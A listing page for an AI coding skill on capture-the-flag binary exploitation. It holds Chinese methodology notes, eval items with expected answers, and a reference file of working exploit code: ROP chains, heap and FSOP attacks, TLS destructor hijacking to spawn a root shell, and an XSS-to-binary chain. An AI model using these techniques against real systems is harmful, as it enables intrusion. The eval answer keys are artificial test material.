
Ctf Pwn
- 29 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ctf-pwn is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ctf-pwn
- AI & Agent Building
- AI-coding skill
Ctf Pwn by the numbers
- 29 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,417 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ctf-pwnAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 29 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CTF 二进制漏洞利用 (Pwn)
深入参考
以下参考资料按漏洞类型组织,按需加载:
| 漏洞类型 | skill 引用 |
|---|---|
| 栈溢出 / ret2win / Canary绕过 | references/stack-overflow.md |
| 格式化字符串 / 泄漏 / GOT覆写 / Blind Pwn | references/format-string.md |
| 堆(UAF/double free/tcache/House of X) | references/heap-exploitation.md |
| ROP(ret2csu/ret2libc/SROP/seccomp绕过/RETF) | references/rop-techniques.md |
| 内核堆喷 / tty_struct / userfaultfd / modprobe_path | references/kernel-exploitation.md |
| KASLR / KPTI / SMEP / SMAP / FGKASLR 绕过 | references/kernel-bypass.md |
| 自定义VM / JIT / 类型混淆 / FSOP / Windows / ARM | references/advanced-pwn.md |
| Python沙箱 / FUSE / Busybox / 受限Shell | references/sandbox-escape.md |
| 栈溢出基础 / 结构体覆写 / 有符号整数 / Canary | references/overflow-basics.md |
| ROP链构造 / ret2csu / XOR编码 / shellcode | references/rop-and-shellcode.md |
| 高级ROP / 双栈迁移 / UTF-8 SROP / RETF绕seccomp | references/rop-advanced.md |
| 堆技术(House of Apple2/Einherjar/自定义分配器) | references/heap-techniques.md |
| 堆FILE结构(fastbin→stdout/vtable劫持/glibc 2.24+) | references/heap-fsop.md |
| 内核基础(环境/堆喷结构/栈溢出/提权原语) | references/kernel.md |
| 内核技术(tty_struct/userfaultfd/SLUB/Panic泄漏) | references/kernel-techniques.md |
| 高级利用2(字节码/io_uring/整数截断/GC) | references/advanced-exploits-2.md |
| 高级利用3(栈变量重叠/1字节溢出/GOT覆写) | references/advanced-exploits-3.md |
| 高级利用4(Windows SEH/ARM Thumb/Forth/GF(2)) | references/advanced-exploits-4.md |
| 高级利用5(Chip-8模拟器/浮点Canary/Bloom Filter) | references/advanced-exploits-5.md |
| Pwn 实战笔记(堆速查/利用备忘/常用命令) | references/field-notes.md |
大文件目录索引 (>300行,建议先看目录定位)
format-string.md (331行):
- Format String Basics / Argument Retargeting / Blind Pwn / Filter Bypass / Canary+PIE Leak / \_\_free\_hook Overwrite / .rela.plt Patching / Game State / .bss Pivot / argv[0] Leak
kernel-bypass.md (421行):
- KASLR/FGKASLR Bypass / KPTI Bypass (4 methods) / SMEP/SMAP Bypass / GDB Debug / Initramfs Workflow / Exploit Templates
kernel-exploitation.md (398行):
- QEMU Setup / vmlinux提取 / Config Checks / Heap Spray Structures / ret2usr / kROP / modprobe\_path / core\_pattern / tty\_struct / userfaultfd / SLUB Internals / Cross-Cache / PTE Overlap
advanced-pwn.md (591行):
- VM Exploitation / Integer Vulnerabilities / Memory Primitives / Arbitrary R/W / FSOP+Heap / Specialized (ASAN/DNS/ELF Signing/JIT) / TLS Destructor / GF(2) Gaussian / Windows/ARM/Forth
---
分类决策树
Pwn 题目分析?
├─ 检查保护: checksec binary
│ ├─ PIE 关闭 → 地址固定,直接覆写 GOT/PLT
│ ├─ Partial RELRO → GOT 可写 → GOT覆写
│ ├─ Full RELRO → 需找替代目标(hooks/vtable/.fini_array)
│ ├─ NX 开启 → 不能执行栈/堆shellcode → 用 ROP
│ └─ Canary → 需泄漏或用堆/字节溢出绕过
├─ 漏洞类型
│ ├─ 栈溢出
│ │ ├─ 基础 ret2win → `stack-overflow.md`
│ │ ├─ ret2libc / ROP → `rop-techniques.md`
│ │ ├─ Canary绕过 → `stack-overflow.md` + `advanced-pwn.md`
│ │ └─ 堆叠溢出 → `advanced-pwn.md`
│ ├─ 格式化字符串
│ │ └─ `format-string.md`
│ ├─ 堆(UAF/double free/tcache)
│ │ ├─ 基础 tcache poisoning → `heap-exploitation.md`
│ │ ├─ House of X/Orange/Lore → `heap-exploitation.md` + `advanced-pwn.md`
│ │ └─ FSOP → `advanced-pwn.md`
│ ├─ 内核模块
│ │ ├─ 基础环境/提权 → `kernel-exploitation.md`
│ │ └─ 保护绕过 → `kernel-bypass.md`
│ └─ 自定义 VM / JIT / 类型混淆
│ └─ `advanced-pwn.md`
└─ 利用链
├─ 泄漏 → 计算libc基址 → one_gadget / system / FSOP
├─ ROP → ret2libc / SROP / ret2dlresolve / seccomp绕过
└─ 堆 → House of X / tcache poisoning → __free_hook / TLS dtors---
保护机制速查
| 保护 | 状态 | 影响 | 绕过方法 |
|---|---|---|---|
| PIE | 关闭 | GOT/PLT/函数地址固定 | 直接覆写 |
| PIE | 开启 | 地址随机化 | 泄漏 → 计算基址 |
| RELRO | Partial | GOT 可写 | GOT覆写 |
| RELRO | Full | GOT 只读 | hooks/vtable/.fini_array/FSOP |
| NX | 开启 | 栈不可执行 | ROP |
| NX | 关闭 | 栈可执行 | shellcode |
| Canary | 有 | 溢出被检测 | 泄漏/字节溢出/BRK |
---
常见危险函数
gets() / scanf("%s") / strcpy() → 栈溢出
printf(user_input) → 格式化字符串
free() 后继续使用 → UAF
read(fd, buf, size) → 堆溢出 / 栈溢出---
pwntools 模板
from pwn import *
context.binary = elf = ELF('./binary')
libc = ELF('./libc.so.6')
p = remote('host', port) # or process('./binary')
# 泄漏 → 计算基址 → 覆写 → getshell---
竞争条件利用
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'---
注意事项
- 先泄漏再攻击:几乎所有 exploit 都依赖信息泄漏,优先找泄漏点
- one_gadget 约束检查:找到 gadget 后用
one_gadget libc.so.6列出所有,再筛选满足约束的 - seccomp-tools dump:必先检查 seccomp 规则,再决定绕过方案
- pwntools corefile:崩溃后自动生成 core 文件,用
cyclic_find()精确定位溢出偏移
{
"skill_name": "ctf-pwn",
"evals": [
{
"id": 1,
"name": "stack-buffer-overflow",
"prompt": "CTF Pwn 题给了一个 ELF 二进制文件,checksec 显示 NX 开启、PIE 关闭、Partial RELRO、无 Canary。反编译发现 main 函数中有 gets(buf),buf 大小 64 字节。有一个 win() 函数会打印 flag。请描述利用方法。",
"expected_output": "经典栈溢出 ret2win:用 64 字节填充 buf + 8 字节覆盖 saved rbp + win() 地址覆盖返回地址",
"expectations": [
"栈溢出|buffer overflow|gets|溢出",
"ret2win|覆盖返回地址|return address|跳转win",
"64字节|padding|填充|偏移量|offset",
"rbp|saved rbp|8字节|栈帧",
"pwntools|p64|flat|payload构造"
],
"required_terms": [
"buffer overflow",
"gets",
"ret2win"
]
},
{
"id": 2,
"name": "format-string-leak",
"prompt": "CTF Pwn 题中程序有 printf(user_input) 漏洞。开启了 Full RELRO 和 PIE。你需要先泄漏 libc 地址再 getshell。请描述利用格式化字符串泄漏信息的方法。",
"expected_output": "格式化字符串泄漏:用 %p 或 %lx 泄漏栈上的 libc 地址和 PIE 基址,计算偏移后构造 ROP 链",
"expectations": [
"格式化字符串|format string|printf|%p|%lx",
"泄漏|leak|栈上地址|libc地址",
"PIE基址|偏移|计算基址|减去偏移",
"libc|__libc_start_main|libc基址",
"%n|写入|GOT覆写|任意写|后续利用"
],
"required_terms": [
"__libc_start_main",
"GOT覆写",
"format string"
]
},
{
"id": 3,
"name": "ret2libc-rop",
"prompt": "CTF Pwn 题有栈溢出漏洞。NX 开启无法执行 shellcode。已泄漏 libc 基址和 libc 版本。请描述如何通过 ROP 获取 shell。",
"expected_output": "ret2libc:在 libc 中找 pop rdi; ret gadget,构造 ROP 链调用 system('/bin/sh')",
"expectations": [
"ret2libc|ROP|ROP链|返回导向编程",
"system|/bin/sh|execve|获取shell",
"pop rdi|gadget|ROPgadget|ropper",
"one_gadget|magic gadget|一键getshell",
"ret对齐|movaps|栈对齐|16字节对齐"
],
"required_terms": [
"/bin/sh",
"one_gadget",
"ROP"
]
},
{
"id": 4,
"name": "heap-tcache-poisoning",
"prompt": "CTF Pwn 题是一个菜单式堆管理程序(glibc 2.31),有 UAF(Use After Free)漏洞。可以 alloc/free/edit/show chunk。请描述如何利用 tcache poisoning 获取 shell。",
"expected_output": "tcache poisoning:UAF 修改 freed chunk 的 fd 指针指向 __free_hook,分配到 __free_hook 写入 system 地址,free 一个内容为 /bin/sh 的 chunk",
"expectations": [
"tcache|poisoning|tcache投毒|fd指针",
"UAF|Use After Free|释放后使用",
"__free_hook|__malloc_hook|hook覆写",
"system|/bin/sh|one_gadget|getshell",
"泄漏libc|unsorted bin|main_arena|libc基址"
],
"required_terms": [
"__free_hook",
"__malloc_hook",
"/bin/sh"
]
},
{
"id": 5,
"name": "kernel-exploit-basics",
"prompt": "CTF Pwn 题提供了一个 QEMU 虚拟机和一个有漏洞的内核模块 .ko 文件。内核模块有一个栈溢出漏洞。开启了 KASLR 和 SMEP。请描述利用思路。",
"expected_output": "内核利用:泄漏内核基址绕过 KASLR → 构造 ROP 链(commit_creds(prepare_kernel_cred(0)))→ 返回用户态获取 root shell",
"expectations": [
"内核|kernel|.ko|内核模块",
"KASLR|泄漏基址|/proc/kallsyms|内核地址",
"commit_creds|prepare_kernel_cred|提权|root",
"SMEP|ROP|内核ROP|绕过SMEP",
"iretq|swapgs|返回用户态|用户空间"
],
"required_terms": [
"/proc/kallsyms",
"commit_creds",
"prepare_kernel_cred"
]
}
]
}
{
"skill_id": "ctf-pwn",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"pwn",
"binary",
"overflow",
"rop"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"heap",
"kernel",
"格式化字符串",
"shellcode"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被web漏洞召回",
"keywords": [
"sql injection",
"xss"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "ctf-pwn-scenario",
"scenario": "CTF PWN 题给了一个有 gets() 栈溢出的 64 位 ELF 程序和 libc。请搜索 PWN 方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "pwn|溢出|exploit|rop"
},
{
"tool": "read_skill",
"id": "ctf-pwn"
}
]
}
]
}
CTF Pwn - Advanced Exploit Techniques (Part 2)
Table of Contents
- Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
- io_uring UAF with SQE Injection (ApoorvCTF 2026)
- Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
- GC Null-Reference Cascading Corruption (DiceCTF 2026)
- Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
- Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
- XOR Cipher Keystream Brute-Force Write Primitive
- Tcache Pointer Decryption for Heap Leak
- Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
- FSOP Stdout Redirection for TLS Segment Leak
- TLS Destructor Overwrite for RCE via `__call_tls_dtors`
- Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
- Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
- Heap Primitive: Signed Int Overflow in Index Calculation
- Full Exploitation Chain
- XSS-to-Binary Pwn Bridge
- atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
---
Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
Pattern (Registered Stack): Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., push fs → syscall).
Key technique: push fs encodes as 0f a0, and syscall as 0f 05. The validator accepts push fs, but at runtime a preceding push rbx overwrites the a0 byte with 05 on the stack, turning it into syscall.
Exploit structure: 1. Use pop instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR) 2. Seed specific stack values for pop sp instruction (pivots to controlled location) 3. Place syscall gadget disguised as push fs with self-modifying byte mutation 4. Use read(0, stage2_buf, size) syscall to load stage 2 5. Stage 2 contains interactive shell code
code = []
code += [0x59] * 30 # pop rcx x30 → rsp += 0xf0
code += [0x66, 0x5c] # pop sp → pivot to seeded value
code += [0x50] * 17 # push rax x17 (adjust stack)
code += [0x66, 0x50] # push ax
code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
code += [0x50] * 66 # push rax x66
code += [0x66, 0x59] # pop cx
code += [0x53] # push rbx → overwrites next byte!
# Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
# After push rbx mutates 0xa0 → 0x05: becomes syscall
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]Key insight: Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., 0f a0 → 0f 05). Use preceding instructions to write the mutation byte onto the stack/code region.
---
io_uring UAF with SQE Injection (ApoorvCTF 2026)
Pattern (Abyss): Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.
Exploitation chain: 1. Exhaust both slab allocators (fill all slots) 2. Leak PIE base from STATUS response 3. FLUSH frees objects (UAF — pointers remain valid) 4. Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary) 5. Write crafted io_uring SQE into reused memory 6. Worker thread submits SQE as-is → IORING_OP_OPENAT opens flag file
io_uring SQE structure for file read:
import struct
def craft_sqe(pie_base, flag_path_offset=0x6010):
sqe = bytearray(64)
struct.pack_into('B', sqe, 0, 0x12) # opcode = IORING_OP_OPENAT
struct.pack_into('i', sqe, 4, -100) # fd = AT_FDCWD
struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset) # addr = "/flag.txt"
return bytes(sqe)Key insight: io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.
Detection: Binary uses io_uring_setup/io_uring_enter syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.
---
Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
Pattern (Archive): Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.
# Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
# ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
payload = str(65534).encode() # Sends as positive int, server casts to int16Dynamic fd capture via `xchg rdi, rax`:
In Docker/socat environments, open() may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.
# Standard ORW fails in Docker:
# open("/flag.txt") → fd=5 (not 3!)
# read(3, buf, size) → reads wrong fd
# Fix: xchg rdi, rax captures open()'s return value dynamically
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(flag_str_addr)
rop.raw(pop_rsi)
rop.raw(0) # O_RDONLY
rop.raw(libc.sym.open)
rop.raw(libc_base + 0x181fe1) # xchg rdi, rax; cld; ret
# rdi now holds actual fd from open()
rop.raw(pop_rsi)
rop.raw(buf_addr)
rop.raw(pop_rdx_xor_eax) # pop rdx; xor eax, eax; ret (dual-purpose!)
rop.raw(0x100) # rdx = size, eax = 0 (SYS_read)
rop.raw(libc.sym.read) # read(actual_fd, buf, 0x100)Key insight: xchg rdi, rax; cld; ret is the critical gadget for containerized ORW — it passes open()'s actual return value to read() without hardcoding the fd number. The pop rdx; xor eax, eax; ret gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).
---
GC Null-Reference Cascading Corruption (DiceCTF 2026)
Pattern (Garden): Custom stack-based VM with mark-compact GC. GC's mark_reachable() follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, memmove copies this fake object first, corrupting adjacent real object headers.
Exploit chain: 1. Cascading memmove — Set up sacrificial array SAC with entries[0]=0xFFFF, large array BIG (196 entries) with entries[195]=0x00040005, off-heap object OH
- Null-ref GC corrupts SAC's header to
{0,0}(length=0) - SAC's entry
0xFFFFcascades into BIG's header → BIG.length = 0xFFFF (OOB!) - BIG's entry
0x00040005cascades into OH's header → OH stays valid
2. OOB expansion — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap
3. Libc leak — Create 70+ extra objects so GC's ctx.objs allocation exceeds 0x410 bytes → freed to unsorted bin → main_arena pointers readable via OH
4. House of Apple 2 FSOP — Build fake FILE in OH's data buffer:
# Fake FILE structure
fake_file = flat({
0x00: b'$0\x00\x00', # _flags — system("$0") spawns shell
0x20: p64(0), # _IO_write_base = 0
0x28: p64(1), # _IO_write_ptr = 1 (> write_base)
0x88: p64(heap_lock_addr), # _lock (valid writable addr)
0xa0: p64(wide_data_addr), # _wide_data
0xc0: p64(1), # _mode = 1 (triggers wide path)
0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps
})
# Fake _IO_wide_data
fake_wide = flat({
0x18: p64(0), # _IO_write_base = 0
0x30: p64(0), # _IO_buf_base = 0
0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
})
# Fake wide vtable with __doallocate = system
fake_wide_vtable = flat({
0x68: p64(libc.sym.system),
})
# Overwrite _IO_list_all to point to fake FILE5. Trigger — Program exit → _IO_flush_all → fake FILE → _IO_wfile_overflow → _IO_wdoallocbuf → system("$0") → shell
`system("$0")` trick: $0 expands to the shell name when run via system(). Using "$0\x00\x00" as _flags means system(fp) calls system("$0") which spawns a shell.
Key insight: Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.
STORE array pattern for VM stack management: When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.
---
Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
Pattern (Eyeless): No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake stdout FILE structure on BSS via ROP, then call fflush(stdout) to leak a GOT entry containing a libc address.
The null byte problem: fgets appends \x00 after reading. Libc pointers are 6 bytes + 2 null MSBs (0x00007f...). Writing an 8-byte pointer via fgets corrupts the byte after it with \x00. Directly writing adjacent FILE struct fields is impossible without corruption.
Multi-fgets solution: Chain multiple fgets(addr, 7, stdin) calls, each writing 7 bytes. The null byte from each fgets lands on the next field's null MSB (harmless for libc pointers):
# Build ROP chain that calls fgets multiple times to construct stdout on BSS
# Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
FAKE_STDOUT = BSS + 0x800
# Write _flags field
rop += fgets_call(FAKE_STDOUT, 7) # write 0xfbad2087 + padding
# Write _IO_write_base = GOT address (the value to leak)
rop += fgets_call(FAKE_STDOUT + 0x20, 7) # write &fflush@GOT
# Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
rop += fgets_call(FAKE_STDOUT + 0x28, 7) # write &fflush@GOT + 8
# ... (zero-fill remaining fields via earlier memset or BSS zeroes)
# Overwrite stdout pointer and flush
rop += flat(POP_RDI, FAKE_STDOUT)
rop += flat(elf.plt['fflush']) # fflush(fake_stdout) → writes GOT contentReceiving the leak:
# fflush writes 8 bytes from _IO_write_base to _IO_write_end
leak = u64(p.recv(8))
libc_base = leak - libc.sym.fflushKey insight: fgets always appends \x00, but libc addresses already end with \x00\x00 in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.
When to use: Binary has fgets or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple fgets calls.
---
Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
Pattern (heapn⊕te-ic): Message structure stores size as signed char but encryption/display casts to unsigned char. Passing size = -112 stores as char(-112), but (unsigned char)(-112) = 144. With a 127-byte buffer, this gives a 17-byte heap overflow.
Key insight: The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from char to unsigned char in C, common when size fields use char instead of size_t.
XOR Cipher Keystream Brute-Force Write Primitive
The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:
def hash_string(s):
h = 5381
for c in s:
h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
return h
def get_keystream_byte(seed, x):
h = hash_string(str(seed).encode())
for _ in range(x // 8):
h = hash_string(str(h).encode())
return p64(h)[x % 8]
def brute_seed(x, target_byte):
for seed in range(0xFFFFFFFF):
if get_keystream_byte(seed, x) == target_byte:
return seedKey insight: Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.
Byte-by-byte write primitive:
def write_byte(pos, target_byte, idx, leak=False):
add(underflow(pos), b"A", brute_seed(pos, target_byte))
if leak:
data = view(idx)
delete(idx)
add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
delete(idx)
return data
def overflow_write(offset, payload, idx):
for i, byte in enumerate(payload):
write_byte(offset + i, byte, idx)Tcache Pointer Decryption for Heap Leak
Allocate two chunks, free in LIFO order. The mangled tcache fd pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:
# fd is mangled: fd = ptr ^ (chunk_addr >> 12)
# When first tcache entry points to NULL (second free):
# fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
# Shift left to recover: heap_addr = fd_pointer << 12
heap_leak = u64(leaked_fd) << 12Key insight: The first entry in a tcache bin has fd = NULL ^ (addr >> 12), so fd << 12 directly yields the heap base region. No brute-force needed.
Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):
# Overwrite adjacent chunk's size field to 0x431
overflow_write(size_offset, p64(0x431), chunk_idx)
# Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
# next_chunk + 0x431 must point to a region with valid size field
# Free the forged chunk → pushed to unsorted bin
# fd/bk now point to main_arena+96
libc_base = u64(leaked_fd) - 0x203b20 # offset to main_arena+96Key insight: Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that chunk_at_offset(p, size)->size has PREV_INUSE set and is reasonable. Pre-place valid metadata at that boundary.
FSOP Stdout Redirection for TLS Segment Leak
Tcache poison toward _IO_2_1_stdout_ - 0x20 to craft a fake FILE structure that leaks the TLS segment address:
# Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
# Craft fake FILE with _IO_write_base pointing to TLS area
# When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
# Scan output for address ending in 0x...740 (TLS alignment pattern)
# TLS mangle cookie is at tls_addr + 0x30Key insight: Redirecting _IO_write_base of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.
TLS Destructor Overwrite for RCE via __call_tls_dtors
The TLS destructor list (__tls_dtor_list) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:
def rol(val, bits, width=64):
return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
# Mangle function pointers with leaked pointer guard
pointer_guard = tls_leak # from stdout FSOP leak
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
# Craft TLS destructor list node
# struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
node1 = p64(0) * 2 # padding
node1 += p64(0x111) # fake chunk size
node1 += p64(encoded_setuid) # func = setuid(0)
node1 += p64(0) # obj = 0 (root)
node1 += p64(heap_addr + node2_offset) * 2 # next → node2
node2 = p64(encoded_system) # func = system("/bin/sh")
node2 += p64(binsh_addr) # obj = "/bin/sh"
node2 += p64(0) # next = NULL (end of list)Full chain: integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → __call_tls_dtors hijack → setuid(0) + system("/bin/sh").
Key insight: __call_tls_dtors iterates a singly-linked list calling PTR_DEMANGLE(func)(obj) for each entry. Demangling is ror(val, 0x11) ^ pointer_guard. To encode: rol(target ^ pointer_guard, 0x11). The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.
When to use: Modern glibc (2.34+) where __free_hook/__malloc_hook are removed and FSOP via _IO_wfile_jumps (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.
---
Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
Pattern (Revenant): Binary implements a userland shadow stack in .bss — each function call pushes the return address to both the hardware stack and a shadow_stack[] array, validating them on return. The shadow_stack_ptr index increments on every call but is never bounds-checked, allowing it to overflow past the array into adjacent .bss variables.
Binary protections:
- Full RELRO, NX enabled, PIE disabled (fixed addresses)
- SHSTK and IBT enabled (Intel CET — hardware shadow stack)
- No stack canary
`.bss` memory layout:
0x406000: shadow_stack[512] (512 × 8 = 4096 bytes)
0x407000: username[16] (user-controlled via input)
0x407040: shadow_stack_ptr (index into shadow_stack)
0x407048: shadow_stack_baseExploitation strategy: 1. Trigger controlled recursion (e.g., do_reset() → play() loop) to increment shadow_stack_ptr exactly 512 times 2. After 512 iterations, shadow_stack_ptr points to username (user-controlled buffer) 3. Write the win() address into username via normal input 4. Overflow the stack buffer to overwrite the hardware return address with win() 5. On return, both shadow stack and hardware stack contain win() — validation passes
Exploit code (pwntools):
from pwn import *
exe = ELF('./revenant')
io = process('./revenant')
# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8 # 512
# Step 1: Write win() address into username buffer
name = fit(exe.symbols["win"])
# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
for i in range(iterations):
io.sendlineafter(b"Survivor name:\n", name)
io.sendlineafter(b"[0] Flee", b"4") # Trigger do_reset() -> play()
# Step 3: Overflow stack buffer with win() address
padding = 56 # offset to return address (32-byte buf + 24 bytes)
payload = fit({padding: exe.symbols["win"]})
io.sendlineafter(b"(0-255):\n", payload)
io.interactive()Key insight: Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is (target_addr - shadow_stack_base) / pointer_size.
Detection pattern: Look for:
.bssarrays used as shadow stacks (paired push/pop with function calls)- Missing bounds check on the index variable
- User-writable
.bssvariables adjacent to (above) the shadow stack array - Recursive function calls controllable from user input
---
Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
Pattern (Canvas of Fear): Web application wraps a native binary (canvas_manager) behind a Flask API, with admin endpoints restricted to 127.0.0.1. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as y * width + x using a signed 32-bit int. Supplying large y values overflows the multiplication to a negative result, passing the bounds check (index < width * height) while accessing memory before the data buffer — a negative OOB heap write primitive.
Three-layer exploit chain: 1. Stored XSS (Flask |safe Jinja filter) → admin bot executes JS at 127.0.0.1 2. XSS payloads call admin API (Fetch API) → triggers binary commands 3. Integer overflow → heap corruption → libc/stack leak → ROP chain
Heap Primitive: Signed Int Overflow in Index Calculation
The pixel index formula y * width + x wraps in 32-bit signed arithmetic:
# For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
# After ×3 for RGB byte offset: -24 bytes before the data buffer
# This overwrites the canvas struct's height field (preceding the data on heap)
cmd(b'SET 1 42 8589934591 0x340000') # overwrite height: 0x32 → 0x34Key insight: The bounds check index < width * height uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.
Full Exploitation Chain
from pwn import *
# Step 1: Create canvases — canvas 3 acts as consolidation blocker
cmd(b'CREATE 1 50 50') # large canvas (target for OOB write)
cmd(b'CREATE 2 20 20') # victim (will be freed for unsorted bin leak)
cmd(b'CREATE 3 20 20') # pivot (data pointer will be overwritten)
# Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
cmd(b'DELETE 2')
# Step 3: Overflow canvas 1's height field (0x32 → 0x34)
cmd(b'SET 1 42 8589934591 0x340000')
# Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
cmd(b'GET 1')
# Parse RGB output: skip to offset 2507, extract fd/bk pointers
# heap_base = unpack(data[2:10]) << 12
# libc.address = unpack(data[34:42]) - 0x1edcc0
# Step 5: Remove size limit for full OOB write
cmd(b'SET 1 42 8589934591 0xffffff')
# Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
# Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
target = unpack(pack(libc.sym["environ"]), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
# Step 7: Read canvas 3 → reads *environ → stack leak
cmd(b'GET 3')
# main_ret = stack_leak - 0x140
